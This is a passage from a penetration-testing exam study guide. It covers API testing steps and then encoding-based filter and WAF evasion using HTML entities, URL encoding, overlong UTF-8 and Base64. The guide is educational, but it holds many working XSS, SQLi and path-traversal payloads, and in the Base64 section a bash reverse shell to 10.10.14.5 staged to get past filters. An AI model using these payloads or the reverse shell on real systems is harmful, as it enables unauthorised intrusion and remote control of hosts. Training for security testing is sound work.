4Invoke hidden functionsInfer from naming (get/create/update → delete); set the correct SOAPAction; 200 + <XResponse> = it exists
5FingerprintServer, X-Powered-By, X-SOAP-Server (e.g. NuSOAP/0.9.5) → CVE search
6AuthenticationStrip the header; tamper the JWT; crack the HMAC secret; replay expired tokens; test OAuth redirect_uri/state; check key scope
7AuthorizationBOLA: swap IDs between two accounts, on every verb. BFLA: fire admin routes with a user token. Burp Autorize
8Input validation', ", ;id, -1, 0, type confusion, oversized, duplicate keys, arrays, null — in every parameter
9InjectionSQLi (error-based first — read the DBMS error), command injection (;, &&, |), XXE (<!DOCTYPE), XPath, SSRF, NoSQL
10Mass assignmentAdd role, isAdmin, balance, price, id to every write request
11Data exposureDiff raw JSON vs rendered UI; dump all key names; pagination and export endpoints
12Rate limiting100 requests in a loop; check 429, lockout, X-RateLimit-*; bypass with X-Forwarded-For
13MisconfigurationAPI root listing; source files; .env/.db/.git; debug endpoints; verbose errors; CORS with a foreign Origin; missing TLS
14Business logicSign inversion, replay, ordering, race conditions on value-moving operations

Tooling summary

ToolRole
Burp Suite (Proxy / Repeater / Intruder / Decoder / Comparer)Core. Repeater for hand-crafted SOAP/JSON; Intruder Sniper for enumeration; Decoder for HTML/URL/base64; remember to set target host+port for pasted requests
Burp extensionsWsdler (parse WSDL → requests), InQL (GraphQL), Autorize/AuthMatrix (authZ), JSON Web Tokens, Param Miner, Content Type Converter
SoapUIWSDL-driven SOAP client; auto-builds every operation
PostmanREST/GraphQL client; import OpenAPI; environments per user; Runner for bulk authZ diffs
curl + jqScriptable, exam-proof; jq formats/parses JSON from curl
ffuf / gobusterRoute, parameter and payload fuzzing; -mc all -fc 404, -fr <string>, -fs <size>
arjunHidden parameter discovery
sqlmap-r request.txt on a saved SOAP/JSON request
jwt.io / hashcat -m 16500JWT decode, verify, forge, crack
grpcurlgRPC reflection and method invocation
OWASP ZAPAlternative proxy; notably faster than Burp Community for unthrottled fuzzing
sqlite3Read any .db file you pull off an exposed API root

Exam tips

  • First thing to try, always: find the contract (WSDL/Swagger/introspection). Every other step is faster once you have it.
  • Common traps: testing the UI port instead of the API port; trusting the documented operation list; reading 200 OK as success in SOAP/GraphQL; forgetting SOAPAction; breaking XML with unencoded metacharacters; running destructive operations (deleteUser) against data you need later.
  • What proves the finding: a raw request/response pair, sent directly to the API, demonstrating data or a state change you were not authorised to obtain — plus, for logic bugs, a before/after read that brackets the change.

6. Encoding, Filter Evasion & WAF Bypass

Exam framing: a payload that "does not work" is almost never a dead input. It is one of four things — (1) the character never reached the parser you are aiming at, (2) it reached it but in the wrong context, (3) a filter rewrote or rejected it, or (4) an intermediary (WAF/proxy/CDN) blocked it before the app ever saw it. This whole section is the decision tree for telling those four apart and defeating each one. Work it in that order; it is fastest-first.


6.1 Encoding Fundamentals

6.1.1 What encoding actually is

Encoding on the web is the process of representing data in a structured format so it can be transmitted, stored and interpreted by both machines and humans, without altering its meaning or integrity. A resource is encoded on the web server, shipped over HTTP/HTTPS, and decoded and rendered by the client's browser. Nothing about that process is a security control — it is a formatting guarantee.

That is the single most important sentence in this section: encoding is not a security feature. URL encoding, HTML encoding and Base64 all exist to make data survive a transport or a parser intact. Whether the destination then treats the decoded bytes as data or as code is entirely a property of the application's back end — and that property is what creates XSS, SQLi and command injection.

For the tester, encoding matters for three reasons:

  1. Reach — a filter that looks for <script> may never see %3Cscript%3E, but the parser downstream will, because something decoded it in between.
  2. Impedance mismatch — every hop (browser → WAF → web server → app framework → DB/HTML parser) may decode a different number of times, in a different order. Every mismatch is a bypass.
  3. Reconnaissance — seeing data:image/png;base64,..., &#x3c;, or %2f%2e%2e in source tells you what the developer worried about and where the decode happens.

6.1.2 Encoding vs encryption vs hashing

Confusing these three is a classic exam trap. Base64 is not encryption; MD5 is not encoding.

EncodingEncryptionHashing
PurposeMake data safe/usable for a transport or parserConfidentialityIntegrity / fixed-size fingerprint
Key requiredNoYes (symmetric or asymmetric)No (optionally a salt/HMAC key)
ReversibleYes — by anyone, publicly documented algorithmYes — only with the keyNo (one-way; only brute force / rainbow tables)
Output lengthDeterministic, grows predictably (Base64 = ~133%)Varies with cipher/modeFixed per algorithm
ExamplesASCII, UTF-8, URL/percent, HTML entities, Base64, hexAES, ChaCha20, RSA, TLSMD5, SHA-1, SHA-256, bcrypt, Argon2
Security valueNoneConfidentiality onlyVerification only
Tester's cueCharset limited to a known alphabet; = padding; % + 2 hex; &...;High entropy, no pattern, often Base64-wrappedFixed length: 32 hex = MD5, 40 = SHA-1, 64 = SHA-256
# Tell them apart fast: fixed-length hex = hash; decodes cleanly = encoding; neither = ciphertext
echo -n 'admin' | md5sum                 # 21232f297a57a5a743894a0e4a801fc3  (32 hex -> MD5)
echo -n 'admin' | base64                 # YWRtaW4=                          (padding -> Base64)
echo 'YWRtaW4=' | base64 -d              # admin                             (reversible, no key)

6.1.3 Character sets

A character set (charset) is a collection of characters, symbols and glyphs mapped to unique numeric code points. Computers only understand numbers; charsets are the translation layer between a keyboard and binary. Character encoding is the representation in bytes of the symbols of a character set.

Charset / encodingSizeRangeNotes for testers
ASCII128 characters0–127, 7-bit (8th bit historically parity)ANSI standard, 1963. English only. Cannot represent Chinese, Hebrew, Arabic, Cyrillic.
Extended ASCII / Latin-1 (ISO-8859-1)2560–255, 8-bitAdds €, accented Latin. Legacy; still seen in old Content-Type headers.
Unicode~150k code pointsU+0000–U+10FFFFA charset, not an encoding. Aims to cover all writing systems. First 128 code points == ASCII (backwards compatible).
UTF-8Variable, 1–4 bytesUnicode Transformation Format, 8-bit unitsASCII chars = 1 byte; non-ASCII = 2–4 bytes. The web default.
UTF-16Variable, 2 or 4 bytes16-bit unitsBMP (U+0000–U+FFFF) = 2 bytes; above BMP = 4 bytes (surrogate pairs). Windows/Java internals.
UTF-32Fixed 4 bytes32-bit unitsSimple but wasteful; rarely on the wire.

ASCII ranges worth memorising (they show up in CHAR() payloads and in regex ranges you are trying to escape):

Range (decimal)Contents
0–31Control characters (NUL, TAB=9, LF=10, VT=11, FF=12, CR=13)
32Space
33–47! " # $ % & ' ( ) * + , - . /
48–57Digits 0–9
58–64: ; < = > ? @
65–90Uppercase A–Z
91–96`[ \ ] ^ _ ``
97–122Lowercase a–z
123–126{ | } ~
127DEL

6.1.4 Why the charset declaration matters

A page that contains non-ASCII characters but does not declare its encoding renders as mojibake — the browser guesses, and guesses wrong. The fix is the meta tag in <head>:

<!-- Without this, non-ASCII content renders as garbage; with it, the browser decodes as UTF-8 -->
<meta charset="UTF-8">

Security angle: a missing or wrong charset declaration is an XSS enabler. If the page does not pin UTF-8, a browser sniffing ISO-2022-JP or UTF-7 can be made to interpret bytes you control as tag delimiters. Legacy UTF-7 XSS (+ADw-script+AD4-) is exactly this bug. Always check the response for Content-Type: text/html; charset=utf-8 and the meta tag.

6.1.5 Key characters and their encodings (master conversion table)

This is the table to keep open during an exam. Every column is a different filter you might be evading.

CharDecHexOctalURL (%)HTML namedHTML decHTML hexJS \xJS/CSS \uDouble URL
(space)3220040%20 / +&nbsp;*&#32;&#x20;\x20\u0020%2520
!3321041%21&excl;&#33;&#x21;\x21\u0021%2521
"3422042%22&quot;&#34;&#x22;\x22\u0022%2522
#3523043%23&num;&#35;&#x23;\x23\u0023%2523
$3624044%24&dollar;&#36;&#x24;\x24\u0024%2524
%3725045%25&percnt;&#37;&#x25;\x25\u0025%2525
&3826046%26&amp;&#38;&#x26;\x26\u0026%2526
'3927047%27&apos;&#39;&#x27;\x27\u0027%2527
(4028050%28&lpar;&#40;&#x28;\x28\u0028%2528
)4129051%29&rpar;&#41;&#x29;\x29\u0029%2529
*422A052%2A&ast;&#42;&#x2a;\x2a\u002a%252A
+432B053%2B&plus;&#43;&#x2b;\x2b\u002b%252B
,442C054%2C&comma;&#44;&#x2c;\x2c\u002c%252C
-452D055%2D&hyphen;&#45;&#x2d;\x2d\u002d%252D
.462E056%2E&period;&#46;&#x2e;\x2e\u002e%252E
/472F057%2F&sol;&#47;&#x2f;\x2f\u002f%252F
:583A072%3A&colon;&#58;&#x3a;\x3a\u003a%253A
;593B073%3B&semi;&#59;&#x3b;\x3b\u003b%253B
<603C074%3C&lt;&#60;&#x3c;\x3c\u003c%253C
=613D075%3D&equals;&#61;&#x3d;\x3d\u003d%253D
>623E076%3E&gt;&#62;&#x3e;\x3e\u003e%253E
?633F077%3F&quest;&#63;&#x3f;\x3f\u003f%253F
@6440100%40&commat;&#64;&#x40;\x40\u0040%2540
\925C134%5C&bsol;&#92;&#x5c;\x5c\u005c%255C
`9660140%60&grave;&#96;&#x60;\x60\u0060%2560
{1237B173%7B&lcub;&#123;&#x7b;\x7b\u007b%257B
|1247C174%7C&verbar;&#124;&#x7c;\x7c\u007c%257C
}1257D175%7D&rcub;&#125;&#x7d;\x7d\u007d%257D
NUL000000%00—&#0;&#x00;\x00\u0000%2500
TAB909011%09&Tab;&#9;&#x09;\t\u0009%2509
LF100A012%0A&NewLine;&#10;&#x0a;\n\u000a%250A
CR130D015%0D—&#13;&#x0d;\r\u000d%250D

* &nbsp; is U+00A0 non-breaking space, not U+0020. That difference is itself a bypass (see 6.8).

6.1.6 Conversion tooling

# Burp: Decoder tab, or select bytes in any editor -> Ctrl+U (URL decode) / Ctrl+Shift+U (URL encode)
# Burp: Ctrl+H / Ctrl+Shift+H for HTML, Ctrl+B / Ctrl+Shift+B for Base64
# CyberChef recipes worth memorising: "To HTML Entity", "URL Encode", "To Base64", "To Hex", "URL Decode"
# Offline copy ships in Kali: /usr/share/cyberchef/ or run it from a local file:// path
# Quick CLI conversions
python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" '<script>alert(1)</script>'
python3 -c "import html,sys;print(html.escape(sys.argv[1]))" '<script>'
python3 -c "print(''.join('&#x%02x;'%ord(c) for c in '<script>alert(1)</script>'))"   # all-hex HTML entities
echo -n '<script>' | xxd -p                                    # 3c7363726970743e  (hex literal source)

Reference sites used throughout the course: ascii-code.com (ASCII table with binary/hex/octal/decimal/HTML columns), utf8-chartable.de (UTF-8 code blocks per script), charset.org (single-character converter giving Unicode code point, decimal, hex, HTML-encoded and URL-encoded forms in one shot), w3schools.com/tags/ref_urlencode.asp (URL encoding reference), and regex101.com (paste a captured filter regex and see exactly what it matches).

Exam tips — 6.1

  • First move on any reflective input: submit a canary of every dangerous character and read it back — '"<>&/\;|()%{} plus a space and a newline. Whatever survives intact tells you what you can build with; whatever changed tells you the filter's shape.
  • Read the response's Content-Type charset and the <meta charset> before crafting anything exotic. No declared charset = try charset-based XSS (UTF-7, UTF-16) as a late-stage option.
  • Base64 vs hash vs ciphertext: check for = padding and a 4-character multiple length (Base64), a fixed hex length of 32/40/64 (MD5/SHA-1/SHA-256), or neither (encryption). Never waste exam time trying to "decode" a hash.
  • If a parameter value round-trips unchanged but nothing executes, the problem is context, not filtering — jump to 6.9 before you start encoding.

6.2 HTML Encoding (Entity Encoding)

6.2.1 What it is and why it exists

HTML encoding (HTML entity encoding) converts special characters and reserved symbols into their corresponding HTML entities so the browser displays them instead of interpreting them as markup. An entity always starts with & and ends with ;.

When the browser's HTML parser encounters an entity, it renders the symbol and never treats it as a language element. That is the whole mitigation: if < arrives as &lt;, the tokenizer never opens a tag, so injected <script> becomes visible text rather than executable code.

The vulnerability is therefore the absence of entity encoding on reflected/stored output. The course's demo is exact: a PHP page that echoes $_GET['input'] raw executes <script>alert(1)</script>; the same page echoing htmlspecialchars($input, ENT_QUOTES, 'UTF-8') renders it as text.

// VULNERABLE: raw reflection of user input into the HTML body
$user_input = $_GET['input'];
echo "<p>The user input from the URL is $user_input</p>";
// FIXED: htmlspecialchars with ENT_QUOTES encodes < > & " AND ' — the ' is what ENT_QUOTES adds
$sanitized_input = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo "<p>The user input from the URL is $sanitized_input</p>";

Encoder coverage differs by function and that gap is your bypass surface:

Function / flagEncodesLeaves aloneAttack left open
htmlspecialchars($s) (default ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML401 in PHP 8.1+)& < > " 'backtick, /, space, =Backtick-quoted attributes in old IE; unquoted attribute injection
htmlspecialchars($s, ENT_NOQUOTES)& < >" 'Attribute breakout — the classic
htmlspecialchars($s, ENT_COMPAT) (pre-8.1 default)& < > "'Single-quoted attribute breakout
htmlspecialchars($s, ENT_QUOTES)& < > " '/, backtickUnquoted attributes, backticks
htmlentities($s)All applicable named entities—Still no protection in JS/URL context
strip_tags($s)Removes tags entirelyAttribute content, entitiesNaive stripping → tag reconstruction (6.9)
JS encodeURIComponent()URL-unsafe charsA-Za-z0-9 - _ . ! ~ * ' ( )Not an HTML encoder at all

Critical rule: HTML encoding is context-specific. htmlspecialchars output placed inside a <script> block, inside an href, or into a DOM sink is still XSS. See 6.9.

6.2.2 Entity forms — named, decimal, hex

Every character has up to three interchangeable representations. Filters usually block only one.

FormSyntaxExample for <Notes
Named&name;&lt;Only ~2,200 characters have names; case-sensitive
Decimal numeric&#DDD;&#60;Any code point; leading zeros allowed: &#0000060;
Hex numeric&#xHH;&#x3c;x may be upper or lower; leading zeros allowed: &#x0003c;
Semicolon-less&#DDD / &#xHH&#60 &#x3cHTML parsers accept many entities without the trailing ; in attribute-free contexts — kills naive &\w+; regexes

6.2.3 XSS-relevant character reference table

CharNamedDecimalHexPadded decimalSemicolon-lessWhy it matters for XSS
<&lt;&#60;&#x3c;&#0000060;&#60Opens a tag — the #1 filtered char
>&gt;&#62;&#x3e;&#0000062;&#62Closes a tag
"&quot;&#34;&#x22;&#0000034;&#34Breaks out of a double-quoted attribute
'&apos; / &#39;&#39;&#x27;&#0000039;&#39Breaks out of a single-quoted attribute. &apos; is HTML5/XHTML only — not valid HTML4, so it may be missed by legacy encoders
&&amp;&#38;&#x26;&#0000038;&#38Starts an entity — needed for double encoding
/&sol;&#47;&#x2f;&#0000047;&#47Closes tags (</), path separator; OWASP recommends encoding it
(space)&nbsp;*&#32;&#x20;&#0000032;&#32Separates tag name from attributes
=&equals;&#61;&#x3d;&#0000061;&#61Assigns event handlers
`&grave;&#96;&#x60;&#0000096;&#96Legacy IE attribute quoting; JS template literals
(&lpar;&#40;&#x28;&#0000040;&#40Function call — target of "no parenthesis" filters
)&rpar;&#41;&#x29;&#0000041;&#41Function call
:&colon;&#58;&#x3a;&#0000058;&#58javascript: scheme separator
|&verbar;&#124;&#x7c;&#0000124;&#124Shell/OR operators
NUL—&#0;&#x00;——Filter truncation

* &nbsp; = U+00A0, not a plain space — use &#32; when you literally need U+0020.

6.2.4 Where the browser decodes entities — the context map

This is the part that determines whether an entity payload fires. HTML entity decoding happens in the HTML parser, before any other parser runs. JavaScript and CSS parsers do not decode HTML entities.

ContextEntities decoded?Consequence
HTML text node — <div>HERE</div>✅ Yes&lt;script&gt; renders as text, never executes. Encoding here is a real fix.
Attribute value — <a title="HERE">✅ Yes&#x27; decodes to ' after the attribute is parsed → cannot break the quote, but can feed the value onward
Event handler attribute — <a onclick="HERE">✅ Yes, then JS runs on the resultEntities work here. onclick="&#97;lert(1)" executes alert(1)
URL attribute — <a href="HERE">✅ Yes, then URL parser runshref="&#106;avascript:alert(1)" executes — entity-obfuscated scheme
Inside <script>…HERE…</script>❌ NoEntities are literal text to the JS parser. &#x27; is 6 characters, not a quote. Use \x27/' instead.
Inside <style> / style="HERE"❌ No (CSS uses \HH escapes)Use CSS escapes: \6a\61\76…
Inside <textarea>, <title>, <noscript> (RCDATA/escapable raw text)✅ YesBut tags are not parsed — you must first close the container: </textarea><img src=x onerror=alert(1)>
Inside an HTML comment <!-- HERE -->❌ Not interpretedMust close the comment first: --><img src=x onerror=alert(1)>
srcdoc attribute of <iframe>✅ Double decodingThe attribute is entity-decoded, then the result is parsed as a full HTML document → entities decoded again
<!-- Fires: entity decoded by HTML parser, then handed to the JS event-handler parser -->
<a href="#" onclick="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">click</a>
<!-- Fires: hex entities hide the javascript: scheme from a scheme blacklist -->
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;alert(1)">click</a>
<!-- Fires: srcdoc entity-decodes once for the attribute, then parses the result as HTML -->
<iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
<!-- Does NOT fire: inside <script>, entities are literal text to the JS tokenizer -->
<script>var x = '&#x27;';alert(1)</script>

6.2.5 Double (and multiple) HTML encoding

Double encoding = encode the & of an already-encoded entity. Use it when a filter decodes input once before inspecting it, and something downstream decodes again.

LayerRepresentation of <
Raw<
Single&lt; or &#60; or &#x3c;
Double&amp;lt; or &amp;#60; or &#38;#60;
Triple&amp;amp;lt;
Mixed named/numeric&#38;lt; (numeric & + named rest — defeats a literal &amp; blacklist)
# Double-encoded XSS: survives one decode-then-filter pass, decoded again by the renderer
&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
# Mixed double encoding: the leading & is numeric so "&amp;" string matching misses it
&#38;#x3c;script&#38;#x3e;alert(1)&#38;#x3c;/script&#38;#x3e;

Same idea across encoding families — this is where most real bypasses live:

# HTML entity wrapped in URL encoding: WAF URL-decodes -> sees &#x3c; (harmless) -> app HTML-decodes -> <
%26%23x3c%3Bscript%26%23x3e%3Balert(1)%26%23x3c%3B%2Fscript%26%23x3e%3B

Exam tips — 6.2

  • Try first: raw <script>alert(1)</script> to confirm reflection, then <img src=x onerror=alert(1)> (no script keyword), then &#60; / &#x3c; variants, then double encoding.
  • Tell the context by looking at the raw response, not the rendered page. Ctrl+U / Burp Response tab. Find your canary string and read the 30 characters either side — that is the only reliable way to know if you are in a text node, an attribute, a script block or a comment.
  • Confirm a bypass: the payload must appear in the raw response decoded (< as <, not &lt;). If the response shows &lt;script&gt;, output encoding won, full stop — stop encoding and go looking for a different sink.
  • If the entity is decoded but nothing runs, you are in a <script> block or a CSS context. Switch to \x/\u/CSS escapes.
  • Seeing &amp;lt; in the response means the app encoded your already-encoded input — that is double encoding on output, a sign the developer chained two encoders. Back off one layer.

6.3 URL Encoding (Percent Encoding)

6.3.1 What it is

URL encoding (percent encoding) encodes special, reserved and non-ASCII characters into a form safe for transmission inside a URL/URI. The format is fixed: a % followed by exactly two hexadecimal digits representing the character's byte value.

URLs on the wire must contain only US-ASCII characters. Anything else — a space, a non-Latin character, a character that already has structural meaning in a URL — must be percent-encoded, or the URL is ambiguous.

Modern browsers percent-encode automatically. It is not a security feature. The course demo proves it: a PHP page that urlencode()s input then urldecode()s it before reflecting is still trivially vulnerable to reflected XSS, because the sink, not the transport, decides whether bytes become code. Server-side engines almost always decode before use — you cannot query a database with a %27 literal.

6.3.2 Reserved vs unreserved characters (RFC 3986)

ClassCharactersRule
UnreservedA–Z a–z 0–9 - . _ ~Never need encoding. Encoding them anyway is legal and is itself an evasion (%61 for a).
Reserved — gen-delims: / ? # [ ] @Structural. Must be encoded when used as data rather than as structure.
Reserved — sub-delims! $ & ' ( ) * + , ; =Structural within components (query pairs, path params). Encode when used as data.
Unsafe / must encodespace, " < > % { } | \ ^ `, control chars, all non-ASCIIAmbiguous or illegal in a URL.

Reserved characters must be encoded when they carry no special role in that position — that is the rule that creates parser confusion when it is broken (6.12).

6.3.3 Percent-encoding reference table

Char%Char%Char%Char%
space%20,%2C:%3A\%5C
!%21-%2D*;%3B]%5D
"%22.%2E*<%3C^%5E
#%23/%2F=%3D_%5F*
$%240–9%30–%39*>%3E`%60
%%25A–Z%41–%5A*?%3Fa–z%61–%7A*
&%26(%28@%40{%7B
'%27)%29[%5B|%7C
*%2A+%2BNUL%00}%7D
TAB%09LF%0AVT%0BFF%0C
CR%0DNBSP%A0DEL%7F~%7E*

* Unreserved — encoding is optional, which makes it a free bypass against literal string matching.

# Fully percent-encoded XSS payload — no literal < > " ' anywhere for a signature to catch
%3Cscript%3Ealert%281%29%3C%2Fscript%3E
# Selectively encoding only the *keyword* letters defeats a "script" blacklist that runs pre-decode
<%73cript>alert(1)</%73cript>
# Classic SQLi with every structural character encoded
%27%20OR%20%271%27%3D%271%27%20--%20-

6.3.4 + vs %20

Position+ means%20 means
Query string (?a=b+c)Space — application/x-www-form-urlencoded legacy rule, honoured by nearly all server frameworksSpace
POST body with Content-Type: application/x-www-form-urlencodedSpaceSpace
Path (/a+b)Literal plus sign — RFC 3986 gives + no special meaning in a pathSpace
JSON body / Content-Type: application/jsonLiteral plus — no form decoding appliesLiteral %20 string unless the app decodes it
Inside a fragment (#a+b)Literal plus (client-side only)Space after decode

Consequence: a WAF that normalises + to a space and an app that does not (or vice versa) is a bypass. And + inside a path is the reason /etc/passwd-style traversals never use + as filler.

# In a query string these are equivalent; in a PATH they are not. Test both.
GET /search?q=union+select+1,2,3
GET /search?q=union%20select%201,2,3
# Where + is literal, MySQL whitespace alternatives still apply (see 6.8)
GET /search?q=union%0Aselect%0A1,2,3

6.3.5 Double URL encoding

Double URL encoding = encode the % of an already-encoded sequence (% → %25). Use it whenever an intermediary decodes once and the application decodes again — an extremely common architecture (reverse proxy decodes, then the app framework decodes, then the app itself calls urldecode()).

Layer<'/..%2f traversal
Raw<'/../
Single%3C%27%2F..%2f
Double%253C%2527%252F..%252f
Triple%25253C%252527%25252F..%25252f
Mixed-case%3c / %3C%27%2f / %2F..%2F
Partial/nested%25%33%43 (%+3+C each encoded)%25%32%37%25%32%46—
# Double-encoded XSS: proxy decodes once and sees harmless "%3Cscript%3E", app decodes again -> <script>
%253Cscript%253Ealert(1)%253C%252Fscript%253E
# Double-encoded path traversal past a decode-once filter
GET /download?file=..%252f..%252f..%252fetc%252fpasswd
# Nested encoding: %25 + 33 + 43 reassembles to %3C on the FIRST decode, then to < on the second
%25%33%43script%25%33%45alert(1)%25%33%43/script%25%33%45

6.3.6 Mixed, overlong and non-standard UTF-8 encoding

UTF-8 is defined so that every code point has exactly one shortest valid byte sequence. Overlong encodings pad a character into more bytes than necessary. They are illegal per the spec, but many decoders historically accepted them — and a filter that string-matches the canonical bytes never sees them.

CharacterCanonical UTF-8Overlong 2-byteOverlong 3-byteFullwidth Unicode twin
< (U+003C)%3C%C0%BC%E0%80%BC%EF%BC%9C (U+FF1C <)
> (U+003E)%3E%C0%BE%E0%80%BE%EF%BC%9E (U+FF1E >)
' (U+0027)%27%C0%A7%E0%80%A7%EF%BC%87 (U+FF07 ')
" (U+0022)%22%C0%A2%E0%80%A2%EF%BC%82 (U+FF02 ")
/ (U+002F)%2F%C0%AF%E0%80%AF%EF%BC%8F (U+FF0F /)
. (U+002E)%2E%C0%AE%E0%80%AE%EF%BC%8E (U+FF0E .)
\ (U+005C)%5C%C1%9C%E0%81%9C%EF%BC%BC (U+FF3C \)
# Overlong UTF-8 traversal - the historic IIS/Unicode bug, still worth one attempt on legacy stacks
GET /..%c0%af..%c0%af..%c0%afetc/passwd
# IIS-style %u encoding: non-standard, but some .NET/IIS pipelines still normalise it
%u003Cscript%u003Ealert(1)%u003C/script%u003E
# Fullwidth twins: pass a blacklist, then get NFKC-normalised back to < > by a downstream component
<script>alert(1)</script>
%EF%BC%9Cscript%EF%BC%9Ealert(1)%EF%BC%9C/script%EF%BC%9E

The fullwidth trick is Unicode normalization abuse — see 6.11.7. It only works where something in the chain applies NFKC/NFKD after the filter.

6.3.7 Encoding by request location

Where you put the payload changes which decoders touch it. Test all three.

LocationWho decodes+ = space?%00 survives?Notes
Path (/a/b/c)Web server (Apache/nginx/IIS) then framework routerNo (literal +)Usually truncated/rejected by the web serverWeb server normalises .., //, %2e before the app sees it. %2f may or may not be decoded (AllowEncodedSlashes in Apache; nginx does not decode by default)
Query string (?a=b)Framework query parserYesOften yes, into the stringMost common injection point; also where HPP lives
Body — x-www-form-urlencodedFramework body parserYesOften yesSame rules as query string; WAF body inspection may have a size cap
Body — multipart/form-dataMultipart parserNo — no percent decoding at all unless the app does itYes, raw bytesRaw bytes go straight through. Excellent WAF bypass: no URL decoding means no signature normalisation
Body — application/jsonJSON parserNoVia \u0000Use \uXXXX JSON escapes instead of %XX. Many WAFs parse JSON poorly
Body — application/xmlXML parserNoVia &#0;Entity references + CDATA give two more obfuscation layers
Headers (Cookie, User-Agent, Referer, X-Forwarded-For)App code, ad hocNoYesFrequently unfiltered — the Chamilo lab's User-Agent XSS is exactly this
# Same payload, three transports - try all three before declaring an input clean
GET /vuln.php?name=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E HTTP/1.1
POST /vuln.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

name=%3Cimg+src%3Dx+onerror%3Dalert(1)%3E
POST /vuln.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="name"

<img src=x onerror=alert(1)>
------X--

Exam tips — 6.3

  • Try first: single URL encoding of only the structural characters, then double encoding (%25 prefix), then mixed case (%3c vs %3C), then unreserved-character encoding (%73cript), then overlong/fullwidth.
  • Filter vs WAF tell: a filter returns the app's normal page with your input mangled, stripped or an app-styled error. A WAF returns a different page entirely — 403/406/501, a branded block page, a support/reference ID, or an abrupt connection reset — often with zero application content. Filters are consistent per-parameter; WAFs fire on the payload regardless of which parameter carries it.
  • Confirm a decode layer exists: send %2527 (triple-ish) in a parameter you know is reflected. If the response shows %27, one decode happened; if it shows ', two happened. That number tells you exactly how many encoding layers your real payload needs.
  • Burp does not URL-encode automatically in Repeater. Encode manually (Ctrl+U on a selection) or you will send raw & and split your own parameter.
  • In Burp Intruder always enable Payload Encoding (URL-encode these characters) unless you are deliberately testing raw bytes — this is the single most common cause of "my Intruder run found nothing".

6.4 Base64 Encoding

6.4.1 What it is and why developers use it

Base64 encodes binary data (images, audio, arbitrary bytes) into a text format made only of ASCII characters, so it can travel through channels that only support text — HTML, JSON, email, URLs, cookies.

Mechanics: take 3 bytes (24 bits) → split into 4 × 6-bit groups → map each group to one of 64 characters → emit 4 characters. Output grows by ~33%. If the input length is not a multiple of 3, = padding is appended so the output is a multiple of 4.

Developer use cases you will see on the exam: data URLs embedding images/icons inline in HTML or CSS (removing an extra HTTP request, which measurably cuts page load time), tokens (JWT — three Base64url segments), cookies, serialized objects, and file uploads inside JSON APIs.

Testing relevance: Base64 is not encryption and not a hash. Anything Base64 you find is readable and, more importantly, writable — modify it and re-encode. It is also a first-class WAF evasion primitive because it produces a payload with no <, ', space or (.

6.4.2 Alphabet and padding

IndexCharsIndexChars
0–25A–Z52–610–9
26–51a–z62+ (standard) / - (base64url)
63/ (standard) / _ (base64url)
Padding= (standard) / omitted (base64url)
Input bytesOutput charsPadding
3, 6, 9 … (multiple of 3)4, 8, 12 …none
1, 4, 7 … (rem 1)4, 8 …==
2, 5, 8 … (rem 2)4, 8 …=

Identification heuristics: character set limited to A–Za–z0–9+/=, length a multiple of 4, = only at the very end, and trailing =/== is a strong tell.

6.4.3 Variants

VariantIndex 62Index 63PaddingWhere you meet it
Standard (RFC 4648 §4)+/= requiredHTTP Basic auth, email MIME, data URLs, <img src="data:...">
base64url (RFC 4648 §5)-_usually strippedJWT, OAuth state, URL/filename-safe tokens
MIME (RFC 2045)+/=Line-wrapped at 76 chars with CRLF — strip newlines before decoding
Base64 with %2B/%2Fencodedencoded%3DBase64 inside a query string — + becomes a space if not encoded, corrupting the value

Exam-critical gotcha: if you paste a standard-Base64 blob containing + into a URL query string, the server decodes + to a space and the Base64 becomes invalid. Either percent-encode it (%2B) or switch to base64url.

6.4.4 Commands

# Encode / decode from the shell. -n on echo, or the trailing newline is encoded too.
echo -n 'admin' | base64                        # YWRtaW4=
echo 'YWRtaW4=' | base64 -d                     # admin
base64 -w0 payload.bin                          # -w0 = no line wrapping (important for one-line output)
base64 -d <<< 'PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+'    # <svg onload=alert(1)>
# Decode a JWT payload (base64url, no padding) - pad manually if base64 -d complains
echo 'eyJhbGciOiJIUzI1NiJ9' | tr '_-' '/+' | base64 -d 2>/dev/null
python3 -c "import base64,sys;print(base64.urlsafe_b64decode(sys.argv[1]+'=='*2))" 'eyJhbGciOiJIUzI1NiJ9'
# Base64 an image for a data URL (the course's page-speed demo)
base64 -w0 icon.png
<!-- Data URL: binary embedded inline, no extra HTTP request. Note the comma delimiter. -->
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUg..." alt="icon">

6.4.5 Base64 as an evasion primitive

<!-- No <script> keyword in the payload string; atob decodes at runtime -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- data: URI in an iframe - the whole document body is Base64, invisible to HTML signatures -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<!-- Same trick via an object tag when iframe is blacklisted -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
-- MySQL: decode a Base64-encoded string server-side (MySQL 5.6+), hiding the literal from a filter
SELECT FROM_BASE64('YWRtaW4=');
# Command-injection staging: base64 the whole command so no shell metachar appears in the request
echo -n 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | base64 -w0
# then: ;echo BASE64STRING|base64 -d|bash

Exam tips — 6.4

  • Try first: decode every long opaque string you see. Cookies, state, redirect, data, token, id parameters. = at the end or a length divisible by 4 is your cue.
  • If base64 -d errors with "invalid input", the value is base64url: tr '_-' '/+' then pad with = to a multiple of 4.
  • Confirm a bypass: for atob/eval payloads the proof is execution (alert fires / OOB callback). For data-URI payloads check the response actually contains your data: string un-stripped — many sanitizers drop data: schemes specifically.
  • Base64 inside a URL: always %2B, %2F, %3D or you corrupt the blob.
  • Never claim "the password is encrypted" when it is Base64 — on a report/exam answer that is a factual error.

6.5 Other Encodings & DBMS-Side Decoding

6.5.1 Escape-sequence reference by language

